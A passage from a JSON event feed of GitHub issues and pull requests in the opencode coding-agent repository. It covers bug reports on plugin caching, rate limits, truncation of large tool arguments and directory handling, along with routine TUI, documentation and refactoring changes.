        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:3434",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Feature request: Start and continue a session with opencode run -s (modify flag behavior)",
          "text": "Hi guys, Hope you are well. I would like to make a feature request, I think this would be a wise and efficient design choice, even somewhat popular: Modify the behavior of the opencode run --session flag. Current behavior: Input: opencode run --session ses-abc (or abc) hello Output: \"Resource not found\" (if ses-abc) or \"Invalid string - must start with ses\" if plain abc. Desired behavior: Input: opencode run --session abc hello Output: \"Hello how can I be of assistance?\" Here opencode will create session abc if it doesn't exist and continue it if it exists. Implement this, it's a good idea. Trust me.",
          "url": "https://github.com/anomalyco/opencode/issues/3434",
          "createdAt": "2025-10-25T07:08:23Z",
          "updatedAt": "2026-08-13T02:52:52Z",
          "timestamp": "2026-08-13T02:52:52Z",
          "metrics": {
            "reactions": 14,
            "comments": 8
          },
          "labels": [],
          "author": "621625",
          "state": "closed",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f7e853cd1776647d7483",
        "signalId": "github:anomalyco/opencode:issue:25293",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:25293",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Plugin @latest cache can stay pinned to stale npm version",
          "text": "### What happened? A plugin configured as `oh-my-openagent@latest` stayed pinned to an older npm package version in OpenCode's plugin package cache, even though npm latest had advanced. This caused OpenCode to keep loading old plugin behavior until I manually removed the cached package directory and pinned the plugin to the current version. ### Evidence My OpenCode config had: ```json { \"plugin\": [ \"oh-my-openagent@latest\" ] } ``` But the OpenCode package cache contained: ```json // C:\\Users\\Me\\.cache\\opencode\\packages\\oh-my-openagent@latest\\package.json { \"dependencies\": { \"oh-my-openagent\": \"3.17.4\" } } ``` At the same time: ```powershell npm view oh-my-openagent version # 3.17.12 ``` So `@latest` was not re-resolved. The cache directory was valid enough for the plugin to load, but it loaded stale code. ### User-visible impact The stale `oh-my-openagent 3.17.4` build had older model routing behavior. It treated Sisyphus + GPT-5.5 as invalid and switched sessions to Hephaestus, even though `oh-my-openagent 3.17.12` includes GPT-5.5-native Sisyphus support. ### Expected behavior For plugin specs using a moving tag/range such as `package@latest`, OpenCode should periodically re-resolve the package, validate whether the cached dependency satisfies the requested spec, or otherwise avoid treating the wrapper cache directory as permanently fresh. At minimum, a cache hit for `oh-my-openagent@latest` should not continue to use `oh-my-openagent 3.17.4` after npm latest is `3.17.12`. ### Actual behavior OpenCode reused: ```text C:\\Users\\Me\\.cache\\opencode\\packages\\oh-my-openagent@latest ``` The wrapper `package.json` inside that cache still depended on `oh-my-openagent 3.17.4`. ### Workaround This fixed the issue locally: ```powershell Remove-Item -LiteralPath 'C:\\Users\\Me\\.cache\\opencode\\packages\\oh-my-openagent@latest' -Recurse -Force ``` Then I pinned the plugin explicitly: ```json { \"plugin\": [ \"oh-my-openagent@3.17.12\" ] } ``` I also preinstalled the pinned cache path: ```powershell npm install --prefix C:\\Users\\Me\\.cache\\opencode\\packages\\oh-my-openagent@3.17.12 oh-my-openagent@3.17.12 ``` ### Related issue This seems related to plugin package cache behavior discussed in #23502, but this report is specifically about a successful/usable cache hit for `@latest` staying pinned to a stale dependency version rather than an ENOENT or incomplete install. ### Environment - OS: Microsoft Windows NT 10.0.26200.0 - OpenCode: 1.14.31 - Node: v22.20.0 - npm: 10.9.3 - Plugin spec: `oh-my-openagent@latest` - Cached dependency observed: `oh-my-openagent 3.17.4` - npm latest observed: `oh-my-openagent 3.17.12`",
          "url": "https://github.com/anomalyco/opencode/issues/25293",
          "createdAt": "2026-05-01T14:52:41Z",
          "updatedAt": "2026-08-13T02:52:51Z",
          "timestamp": "2026-08-13T02:52:51Z",
          "metrics": {
            "reactions": 6,
            "comments": 6
          },
          "labels": [],
          "author": "sm18lr88",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:2a9a68c1f87013c42ef7",
        "signalId": "github:anomalyco/opencode:issue:29912",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:29912",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Too many requests on Xiaomi MimoV2.5",
          "text": "### Description I keep getting ```bash ⚠️ API call failed (attempt 1/3): RateLimitError [HTTP 429] 🔌 Provider: opencode-go Model: mimo-v2.5 🌐 Endpoint: https://opencode.ai/zen/go/v1 📝 Error: HTTP 429: Error from provider (Xiaomi): Too many requests 📋 Details: {'code': '429', 'message': 'Error from provider (Xiaomi): Too many requests', 'type': 'limitation'} ``` when using this model even tho I haven't used up all my subscription limits, it works sometimes but comes back, and I only get this error on this model. I wanted to use it instead of deepseek for its vision capabilities. I tried reaching over Discord but got no answer. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/29912",
          "createdAt": "2026-05-29T17:18:53Z",
          "updatedAt": "2026-08-13T02:52:48Z",
          "timestamp": "2026-08-13T02:52:48Z",
          "metrics": {
            "reactions": 5,
            "comments": 4
          },
          "labels": [],
          "author": "dave-niqera",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:2d630cf6b23b4c5da1ad",
        "signalId": "github:anomalyco/opencode:issue:20404",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:20404",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode go访问响应速度过慢",
          "text": "### Description <img width=\"606\" height=\"377\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/f5e4a0da-23f9-4e2d-8d07-2dc57dd16199\" /> ### Plugins opencode ### OpenCode version 1.3.9 ### Steps to reproduce /connect 选择OpenCode Go 输入订阅的OpenCode的api秘钥 选择GLM-5 然后随便问问题就需要十多分钟才能响应出结果 ### Screenshot and/or share link _No response_ ### Operating System windows10 ### Terminal windows powershell",
          "url": "https://github.com/anomalyco/opencode/issues/20404",
          "createdAt": "2026-04-01T05:45:07Z",
          "updatedAt": "2026-08-13T02:52:47Z",
          "timestamp": "2026-08-13T02:52:47Z",
          "metrics": {
            "reactions": 1,
            "comments": 13
          },
          "labels": [],
          "author": "PrinceHan1",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:b947371360fdf6d54b62",
        "signalId": "github:anomalyco/opencode:pull_request:42214",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42214",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): highlight Bash commands",
          "text": "## What Highlight Bash syntax wherever commands are shown or edited in the TUI: - `!` Shell-mode prompt input while the user types - agent shell tool commands in inline and expanded tool views Keywords, strings, variables, comments, and punctuation use the active TUI syntax theme. ## How - `packages/tui/src/component/prompt/index.tsx` parses Shell-mode input as Bash after edits and applies the resulting theme styles directly to the textarea edit buffer. Stale asynchronous parser results are discarded, and highlights are removed when the input changes or Shell mode closes. - `packages/tui/src/routes/session/index.tsx` renders submitted Shell-mode commands and agent shell commands with the native `<code filetype=\"bash\">` component. - Shell output remains plain, subdued text beneath the highlighted command. ## Scope This changes TUI presentation only. It does not change command execution, shell selection, or tool behavior. ## Testing - Direct Tree-sitter parser probe confirmed Bash captures for keywords, strings, variables, and comments. - `bun typecheck` from `packages/tui` - `bun run test` from `packages/tui` (689 passed, 5 skipped) - Prettier check and `git diff --check` - Full repository push-hook typecheck (34 packages passed) - Scripted OpenCode Drive capture exercised ordinary and compound Shell-mode input plus an actual agent shell tool call ## Demo ### Shell-mode editing The recording shows `ls -la`, `git status --short && echo \"clean\"`, and a loop with a variable and comment. https://github.com/user-attachments/assets/b5d0e56e-cd30-4581-8116-69e34cd609b2 ![Ordinary Shell-mode command](https://github.com/user-attachments/assets/600e3bd0-15fb-45e5-ac7d-c7a995d9ad7d) ![Compound Shell-mode command](https://github.com/user-attachments/assets/99014f85-aa84-4c25-ae68-4f5d0ed3d838) ![Shell-mode loop with variable and comment](https://github.com/user-attachments/assets/6ef7721b-7e2a-4feb-aa72-16f0801497be) ### Agent shell tool call The recording shows an actual agent shell tool call with highlighted command syntax and real shell output. https://github.com/user-attachments/assets/ac0f0809-8795-462b-99fd-0b2ed7665c57 ![Highlighted agent shell tool command](https://github.com/user-attachments/assets/5ed016ba-9cf0-4d78-a8f5-2c318ceb83b9)",
          "url": "https://github.com/anomalyco/opencode/pull/42214",
          "createdAt": "2026-08-13T01:55:05Z",
          "updatedAt": "2026-08-13T02:48:02Z",
          "timestamp": "2026-08-13T02:48:02Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a86976ca36086ae68e38",
        "signalId": "github:anomalyco/opencode:pull_request:42226",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42226",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): position composer top slot above queue",
          "text": "## What Render `session.composer.top` above the complete composer stack instead of between the queued-prompt rail and prompt. This keeps additions such as session recaps above the composer as a whole, while the queued rail remains visually attached to the prompt it belongs to. ## Before / After **Before** The top slot split the two composer-owned sections. ```text queued prompt rail session.composer.top prompt and footer ``` **After** The top slot sits above the complete composer. ```text session.composer.top queued prompt rail prompt and footer ``` ## How - `packages/tui/src/routes/session/index.tsx` mounts `session.composer.top` before `QueuedPromptDock`. - The queued rail and prompt stay together in the existing fixed bottom stack. - No plugin API or queued-prompt behavior changes. ## Scope This only changes vertical render order. It does not change slot semantics, queued-prompt interactions, or prompt styling. ## Testing - `bun typecheck` in `packages/tui` - `bun run test test/plugin-structure.test.ts` in `packages/tui` (14 passing) - Full workspace typecheck from the push hook (34 tasks passing) - OpenCode Drive against this development checkout, with a queued prompt visible above the real prompt ## Demo The Drive capture shows the queued rail directly attached to the prompt and its metadata. `session.composer.top` now mounts immediately above this complete bottom stack. ![OpenCode Drive capture showing the queued rail attached to the prompt](https://github.com/user-attachments/assets/c13b06e7-7cc1-4271-abb0-b0070dc72e7e) The simulated response text is generated by OpenCode Drive; the queued rail and prompt are the real TUI surfaces from this branch.",
          "url": "https://github.com/anomalyco/opencode/pull/42226",
          "createdAt": "2026-08-13T02:35:27Z",
          "updatedAt": "2026-08-13T02:42:03Z",
          "timestamp": "2026-08-13T02:42:03Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d32bbae02012b8c7b8b6",
        "signalId": "github:anomalyco/opencode:pull_request:42219",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42219",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): highlight queued prompts on hover",
          "text": "## What Adds a subtle raised background when the queued-prompts dock is hovered, making its existing click behavior discoverable. ## Before / After **Before:** The queued-prompts dock looked identical at rest and under the pointer, so it did not read as interactive. **After:** Hovering raises the dock background using the existing elevated theme treatment. Clicking still opens the queued-prompts manager. ## How - Tracks hover state in `QueuedPromptDock`. - Uses `theme.raise(theme.background.default)` while hovered. - Preserves the existing full-dock click target and layout. ## Scope This only changes the V2 TUI queued-prompts dock hover styling. ## Testing - `bun typecheck` from `packages/tui` - Full repository pre-push typecheck (41 packages) - OpenCode Drive end-to-end capture against this worktree ## Demo OpenCode Drive capture with a seeded simulated queued prompt. The dock starts at its default background, raises visibly for two seconds on hover, then opens the matching `Queued prompts` dialog on click. https://github.com/user-attachments/assets/3c25bc0e-5191-4f60-b9e2-341f532b7ce4",
          "url": "https://github.com/anomalyco/opencode/pull/42219",
          "createdAt": "2026-08-13T02:13:22Z",
          "updatedAt": "2026-08-13T02:32:31Z",
          "timestamp": "2026-08-13T02:32:31Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:fa603eb1675199229ed3",
        "signalId": "github:anomalyco/opencode:pull_request:41980",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41980",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs(zh-cn): sync agents page with latest English version",
          "text": "### Issue for this PR Closes #42220 ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Two related zh-cn documentation improvements: 1. **Terminology unification**: The zh-cn docs used 代理 for \"Agent\" while the UI (zh.ts) uses 智能体. Replaced 代理 with 智能体 across 19 files (docs + i18n), excluding network.mdx/providers.mdx where 代理 means network proxy, and zh-tw which consistently uses 代理程式. 2. **agents page sync**: Re-translated packages/web/src/content/docs/zh-cn/agents.mdx against the latest English version (781 lines). Fixes content that was out of sync since the last update (2026-05-08): added the Tools (deprecated) notice, the full permission key table, updated session navigation keybinds, and switched config examples from the legacy `tools` field to `permission`. ### How did you verify your code works? - Compared the zh-cn page section-by-section against the English source (structure, code blocks, tip/note/caution blocks, table). - Grepped for remaining 代理 in agents.mdx (none; only proxy-related files keep it). - No zh-tw or English files touched. ### Screenshots / recordings N/A — text-only translation change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41980",
          "createdAt": "2026-08-12T09:02:51Z",
          "updatedAt": "2026-08-13T02:32:14Z",
          "timestamp": "2026-08-13T02:32:14Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "lianginx",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:62c9dbc4fcb66123bbcf",
        "signalId": "github:anomalyco/opencode:issue:42224",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42224",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Large tool arguments (>~30KB) are truncated at the content boundary, causing \"Unterminated string in JSON\" — affects all tools incl. MCP",
          "text": "## Summary When a tool call carries a **real** string-literal argument larger than roughly 30KB, the opencode client truncates the tool-call JSON **exactly at the end of the embedded content** (missing closing quote/brace), and the call fails with: ``` The arguments provided to the tool are invalid: Invalid input for tool <TOOL>: JSON parsing failed: Text: {…content…}. Error message: Unterminated string in JSON at position N (line 1 column N+1) ``` The failure position **N always equals the length of the sent payload** — the string is cut at the content boundary. Small arguments (a few KB) work fine. ## Environment - opencode **1.18.15** and **1.18.18** (bug reproduces on both; upgrade did not fix it) - Windows 11, PowerShell 5.1, TUI - Reproduced on multiple tool types: `bash` (built-in), an MCP `run_script` tool, and `task` — i.e. it is **not** specific to any one tool or to MCP servers ## Steps to reproduce 1. Invoke any tool (e.g. `bash`) with an argument containing a **literal** string of ~30KB+ (e.g. a multi-line ASCII payload). Note: `\"a\" * 30000`-style runtime-generated strings do NOT reproduce it — the payload must physically be large in the tool-call argument. 2. The client rejects the call before it ever reaches the tool/server: `JSON parsing failed … Unterminated string in JSON at position N`. ## Evidence (position ≈ payload length) | Payload | Tool | Error position | |---|---|---| | 29.6KB wrapper (base85-encoded) | MCP run_script | 79,585 | | 70,100B raw script | MCP run_script | ~79,585 | | 137,466B pure-ASCII (no quotes/backslashes/control chars) | bash | 137,466 | | 189,623B pure-ASCII (nested) | bash | 189,623 | | 240,586B pure-ASCII | bash | 240,586 | | 1,035,824B pure-ASCII | MCP run_script | 1,035,824 | | 1,039,076B pure-ASCII | bash | 1,039,076 | | Small args (few KB) | bash / MCP | OK | Key observations: - **Character set is irrelevant**: 100% pure-ASCII payloads containing no quotes, no backslashes, no control characters fail identically. Base85 + JSON-escaped payloads fail identically. The truncation is purely length-based. - **JSON is truncated at the content boundary**: position N ≈ exact payload length, i.e. the closing `\"` and `}` are never emitted. - **Never reached the target**: the MCP server reported 0 requests received; all failures are client-side. - **Cross-tool**: bash (fully local, no network), MCP tools, and task tool all fail the same way. - Repro'd across two releases (1.18.15 → 1.18.18). ## Expected behavior Large tool arguments should either be transmitted intact, fail with an explicit size-limit error, or be configurable (e.g. a documented max tool-argument size). Currently there is no way to pass payloads >~30KB to any tool, which blocks legitimate workflows such as executing large scripts through MCP `run_script` or passing large data blobs. ## Impact - Cannot execute any MCP tool that requires a >~30KB argument (e.g. running a 70KB script via `run_script`). - Affects all tool types uniformly, not just MCP. Happy to provide additional traces (opencode.log excerpts, persisted tool-output files) on request.",
          "url": "https://github.com/anomalyco/opencode/issues/42224",
          "createdAt": "2026-08-13T02:30:48Z",
          "updatedAt": "2026-08-13T02:31:43Z",
          "timestamp": "2026-08-13T02:31:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "zukktest-cell",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:bb7731e30329b20ce518",
        "signalId": "github:anomalyco/opencode:pull_request:38314",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:38314",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): reject invalid UTF-8 directory paths in serve",
          "text": "### Issue for this PR Closes #38235 Closes #37764 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? While running `opencode serve`, I got a session whose directory ended with two U+FFFD replacement characters: `.../bin/��`. The file picker rejected that path, and `prompt_async` failed because `FileSystem.realPath` tried to resolve it and got `ENOENT`. I could reproduce the same path shape with a malformed route segment. For example, `__8` decodes to the bytes `FF FF`, and the non-fatal `TextDecoder` turns those into `��`. The app uses that as the directory, and the SDK sends it as `%EF%BF%BD%EF%BF%BD` in `x-opencode-directory`. `InstanceContextMiddleware` decodes the header, then `InstanceStore` calls `path.resolve()` on the relative `��` value and ends up with `<cwd>/��`. That matches what showed up in my log. I do not have the original browser URL from that run, so `__8` is only a minimal reproduction of the bug, not a claim that it was the exact route segment. The database also had older session directories with literal U+FFFD characters, so values like this had already been persisted before. The fix makes `base64Decode` use a fatal UTF-8 decoder. The app's `decode64` wrapper already handles decode errors, so malformed route segments now go through the existing invalid-route behavior. For values that already contain U+FFFD, the HTTP routing, location, decoded instance context, and `InstanceStore.load`/`reload` paths fall back to `process.cwd()` instead of initializing that directory. ### How did you verify your code works? - `bun test test/server/httpapi-workspace-routing.test.ts test/project/instance.test.ts`: 18 passed, 0 failed - `bun turbo typecheck`: 30 tasks passed - `bun run script/build.ts --single --skip-embed-web-ui --skip-install`: built the Linux x64 binary and passed its `--version` smoke test - Reproduced `__8` -> `��` -> `%EF%BF%BD%EF%BF%BD` -> `<cwd>/��` with the old decoder, then confirmed the fatal decoder rejects the same bytes - Manually checked a valid non-ASCII base64 round trip I reproduced the original failure with `./opencode serve --log-level DEBUG --pure --print-logs`. I have not rerun that browser flow after adding the final instance-loading guard. ### Screenshots / recordings N/A ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/38314",
          "createdAt": "2026-07-22T13:30:59Z",
          "updatedAt": "2026-08-13T02:23:15Z",
          "timestamp": "2026-08-13T02:23:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 6
          },
          "labels": [],
          "author": "extencil",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:99f68324523d07843efa",
        "signalId": "github:anomalyco/opencode:pull_request:42222",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42222",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "refactor(util): replace xdg-basedir",
          "text": "## What Replace `@opencode-ai/util`'s single `xdg-basedir` use with a behavior-compatible local implementation, removing one direct runtime dependency (6,813 unpacked bytes across 5 files). ## How - Preserve import-time XDG environment overrides and home-directory defaults in `global-roots.ts`. - Preserve empty-value fallback behavior and platform-specific home resolution through `os.homedir()`. - Cover overrides and empty/default behavior in isolated subprocess tests. ## Scope Only `packages/util` is changed. The unrelated `packages/workerd-spike` dependency remains, so the shared lockfile retains the package entry. ## Testing - `cd packages/util && bun run test` (9 passed) - `cd packages/util && bun typecheck` - Push hook workspace typecheck (34 tasks passed)",
          "url": "https://github.com/anomalyco/opencode/pull/42222",
          "createdAt": "2026-08-13T02:21:36Z",
          "updatedAt": "2026-08-13T02:21:47Z",
          "timestamp": "2026-08-13T02:21:47Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:1bb0d73b2304cf716e09",
        "signalId": "github:anomalyco/opencode:issue:42221",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42221",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode -c in a new directory shows the wrong working directory",
          "text": "### Description Running `opencode -c` for the first time in a new directory (one with no prior sessions) displays a previous/old directory instead of the current one. The TUI resumes a session from a different directory. ### Steps to reproduce 1. Use opencode in directory A (creates sessions there) 2. `cd` to a new directory B 3. Run `opencode -c` 4. The TUI shows directory A instead of B ### Operating System Windows 11 ### Terminal Git Bash",
          "url": "https://github.com/anomalyco/opencode/issues/42221",
          "createdAt": "2026-08-13T02:20:21Z",
          "updatedAt": "2026-08-13T02:21:33Z",
          "timestamp": "2026-08-13T02:21:33Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "shinelon",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:01a8f63b2dcfb6bff3be",
        "signalId": "github:anomalyco/opencode:pull_request:38067",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:38067",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session): edge-trigger build-switch reminder instead of scanning full session history",
          "text": "### Issue for this PR Closes #38066 ### Type of change - [x] Bug fix ### What does this PR do? `SessionReminders.apply` (packages/opencode/src/session/reminders.ts) decides whether to inject the \"operational mode has changed from plan to build\" reminder using: ```ts const wasPlan = input.messages.some((msg) => msg.info.role === \"assistant\" && msg.info.agent === \"plan\") ``` This checks \"has this session ever contained a plan-agent message\" (scanning the full uncompacted history), not \"was the immediately preceding turn plan\". With only the built-in plan/build toggle this rarely matters, but opencode supports custom primary agents (docs/agents). Once a third primary agent is used between plan and build, `wasPlan` stays true from the old plan message and the reminder both mislabels the transition and can re-fire on every subsequent build turn. Fix: use `findLast` to check only the immediately preceding assistant message's agent, matching the pattern already used a few lines below in the `experimentalPlanMode` branch. ### How did you verify your code works? Manually reproduced against a real session: switched plan -> custom read-only agent (several turns) -> build. Confirmed the stale \"from plan to build\" banner still fires on unpatched code, and with this one-line logic change it correctly reflects the immediately preceding agent instead. Did not run the full monorepo test suite in my environment; there's no existing test file for reminders.ts to extend, happy to add one if pointed at a similar fixture. ### Screenshots / recordings N/A, not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/38067",
          "createdAt": "2026-07-21T08:46:02Z",
          "updatedAt": "2026-08-13T02:20:49Z",
          "timestamp": "2026-08-13T02:20:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "Duo-Huang",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:953770163bb6a350165b",
        "signalId": "github:anomalyco/opencode:pull_request:42207",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42207",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "chore: move drive and catalog ownership",
          "text": "## What Removes OpenCode Drive and the terminal catalog from this monorepo after transferring catalog ownership and all current state coverage to anomalyco/opencode-drive#57. The standalone PR contains the complete current catalog, including annotations, faceted filtering, per-capture Open Graph cards, deployment routing, all 76 screens across three themes, and the state coverage originally introduced by this PR. ## How - Removes `packages/drive` and `packages/lab/catalog`. - Removes the catalog deployment workflow, duplicated Drive skill, and orphaned Drive-only scripts/CLI fixtures. - Removes Drive/catalog Turbo tasks, workspace discovery, Windows test filtering, and product release exclusions. - Regenerates `bun.lock` without either workspace. - Retains `packages/protocol` and `packages/simulation` support because those define OpenCode's external simulation/Drive integration contract. ## Scope - Does not remove OpenCode's simulation protocol or server-side simulation support. - Does not publish Drive or create a release/tag. - Merge after anomalyco/opencode-drive#57 is ready. Its deployment workflow needs `CLOUDFLARE_API_TOKEN` added to that repository. ## Testing - `bun install` - `bun turbo typecheck --concurrency=3` (39 packages, 32 typecheck tasks passed) - `bun turbo test` reached the existing unrelated `packages/app` Unicode locale failure: `pa-PK` resolved to `en` instead of `pa`; all tasks before that failure passed - Verified no tracked workspace/path/package references remain outside the intentionally retained simulation integration contract - `git diff --check` ## Ownership ```mermaid flowchart LR OpenCode[OpenCode protocol and simulation server] --> Contract[External simulation contract] Contract --> Drive[anomalyco/opencode-drive packages/drive] Drive --> Catalog[anomalyco/opencode-drive apps/catalog] Catalog --> Deploy[dev.opencode.ai/lab/catalog] ```",
          "url": "https://github.com/anomalyco/opencode/pull/42207",
          "createdAt": "2026-08-13T01:33:37Z",
          "updatedAt": "2026-08-13T02:20:41Z",
          "timestamp": "2026-08-13T02:20:41Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:c104c8c3c4162453424c",
        "signalId": "github:anomalyco/opencode:issue:42220",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42220",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Sync zh-cn agents doc page with the latest English version",
          "text": "### Feature hasn't been suggested before - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request The Chinese translation of the agents page (`packages/web/src/content/docs/zh-cn/agents.mdx`) is out of sync with the English version: - Missing the `Tools (deprecated)` marker and the deprecation notice (the English page states `tools` is deprecated in favor of `permission`, and that `true`/`false` is equivalent to `allow`/`deny`) - The Permissions section still lists only `edit`, `bash` and `webfetch` while the English page documents the full permission key list - Other content added since the last sync (e.g. the scout agent section) is missing The page was last updated 2026-05-08; the English version is 781 lines vs 754 for zh-cn. Additionally, the translation should use the unified terminology 智能体 (consistent with PR #41980 and the zh.ts UI strings). This will be fixed by re-translating the whole page against the latest English version in a follow-up PR.",
          "url": "https://github.com/anomalyco/opencode/issues/42220",
          "createdAt": "2026-08-13T02:19:41Z",
          "updatedAt": "2026-08-13T02:20:36Z",
          "timestamp": "2026-08-13T02:20:36Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "lianginx",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:765791830b09f55637e5",
        "signalId": "github:anomalyco/opencode:pull_request:42218",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42218",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): refresh fallback file search",
          "text": "## Summary - invalidate the ripgrep fallback file index when the project filesystem changes - rebuild the snapshot on the next file search instead of requiring a daemon restart - cover newly created files appearing in subsequent searches ## Tests - `bun test test/filesystem/search.test.ts` - `bun typecheck` Requested by: @Hona (Luke Parker via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42218",
          "createdAt": "2026-08-13T02:09:41Z",
